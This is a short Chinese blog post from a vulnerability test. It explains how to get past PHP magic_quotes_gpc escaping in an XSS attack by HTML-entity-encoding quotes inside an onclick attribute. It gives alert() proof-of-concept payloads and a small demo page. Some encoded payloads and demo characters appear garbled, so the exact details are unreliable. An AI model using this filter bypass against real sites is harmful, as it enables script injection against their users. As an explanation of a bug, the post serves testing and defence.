利用html编码进行xss攻击

脆弱性测试的时候,发现了一处输出没有做编码转换,但由于开启了magic_quote_gpc,导致提交的数据中,' "都被转义,最后导致输出的地方不能执行恶意js。

如下:

提交的恶意数据为

1
',alert(123),'

因为被magic_quote_gpc转义,存储到后台的数据也是被转义的,导致输出的结果为

1
< img  src = 'xxx'  onclick = "edit('1','1.1.1.1','\',alert(123),\'')"  />
 

后来参考了乌云上的一篇文章:http://www.wooyun.org/bugs/wooyun-2010-019754

浏览器中html的解析优先于js的解析,所以将提交的数据中,单引号进行html编码,同时绕过了gpc的转义

1
%26#29,alert(123),%25#29,

输出结果为

1
< img  src = 'xxx'  onclick = "edit('1','1.1.1.1',',alert(123),')"  />

后来做了一下测试,在如下的代码中,第一个js弹窗出现的内容是♥,但是第二个弹窗则是♥。当点击图片时,因为标签内容先经过了一遍html解析,所以最后传递给js的内容为 edit('1','1.1.1.1','',alert(123),''),出现弹窗。

想了一下,估计是浏览器在执行的时候,遇到js标签,直接将内容交给js解析器了,但是第二个则是先经过了html解析img标签,然后点击图片的时候,提交给js的这是html解析之后的数据了。

1
2
3
4
5
6
< html >
< body >
< script >alert('♥') script >
< img  src = "123"  onclick = "alert('♥')"  />
body >
html >

你可能感兴趣的:(网络安全)